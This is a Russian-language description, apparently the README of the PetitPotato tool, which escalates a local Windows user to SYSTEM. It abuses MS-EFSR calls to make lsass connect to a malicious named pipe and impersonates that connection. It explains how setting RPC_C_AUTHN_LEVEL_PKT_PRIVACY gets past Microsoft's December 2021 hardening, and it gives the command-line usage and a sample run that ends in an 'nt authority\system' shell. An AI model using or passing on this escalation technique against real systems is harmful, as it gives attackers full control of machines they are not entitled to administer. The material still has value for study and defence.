
Локальное повышение привилегий через PetitPotam (злоупотребление привилегией impersonate).
Локальное повышение привилегий через PetitPotam (злоупотребление привилегиями олицетворения).
PetitPotam использует MS-EFSR (Encrypting File System Remote) — протокол, используемый для выполнения операций обслуживания и управления зашифрованными данными, хранящимися удаленно и доступными по сети. В MS-EFSR существует ряд API, аналогичных EfsRpcOpenFileRaw. Синтаксис API EfsRpcOpenFileRaw показан ниже.
long EfsRpcOpenFileRaw(
[in] handle_t binding_h,
[out] PEXIMPORT_CONTEXT_HANDLE* hContext,
[in, string] wchar_t* FileName,
[in] long Flags
);
Такие API могут указывать UNC-путь через параметр FileName для открытия зашифрованных объектов на сервере с целью резервного копирования или восстановления. Когда указан путь в формате \\IP\C$, служба lsass.exe обращается к \\IP\pipe\srvsvc с привилегиями учетной записи NT AUTHORITY SYSTEM.
Если мы можем вызвать API EfsRpcOpenFileRaw, чтобы заставить локальный компьютер подключиться к созданному нами вредоносному именованному каналу, то мы можем олицетворить процесс клиента именованного канала и в конечном итоге получить привилегию SYSTEKM.
Но старый PetitPotam не работает на новых версиях Windows из-за ограничений соответствующих исправлений. Однако установка AuthnLevel в RPC_C_AUTHN_LEVEL_PKT_PRIVACY с помощью RpcBindingSetAuthInfoW перед вызовом EFS работает в последних системах.
В декабре 2021 года Microsoft выпустила исправление для другой уязвимости EFSRPC: CVE-2021-43217. В рамках устранения этой проблемы Microsoft внедрила некоторые меры по усилению защиты взаимодействия EFSRPC. В частности, клиенты EFSRPC должны использовать RPC_C_AUTHN_LEVEL_PKT_PRIVACY при использовании EFSRPC. Если клиент этого не делает, он отклоняется, и создается событие приложения Windows.
В настоящее время проект позволяет без проблем повышать привилегии до SYSTEM на всех версиях Windows (протестировано на Windows 21H2 10.0.20348.1547).
PetitPotato.exe [EfsID] [Command]
EfsID: номер API MS-EFSR для использованияCommand: команда для выполненияC:\Users\Administrator\Desktop>PetitPotato.exe 3 cmd
[+] Malicious named pipe running on \\.\pipe\petit\pipe\srvsvc.
[+] Invoking EfsRpcQueryUsersOnFile with target path: \\localhost/pipe/petit\C$\wh0nqs.txt.
[+] The connection is successful.
[+] ImpersonateNamedPipeClient OK.
[+] OpenThreadToken OK.
[+] DuplicateTokenEx OK.
[+] CreateProcessAsUser OK.
Microsoft Windows [Version 10.0.20348.1547]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system
C:\Windows\system32>
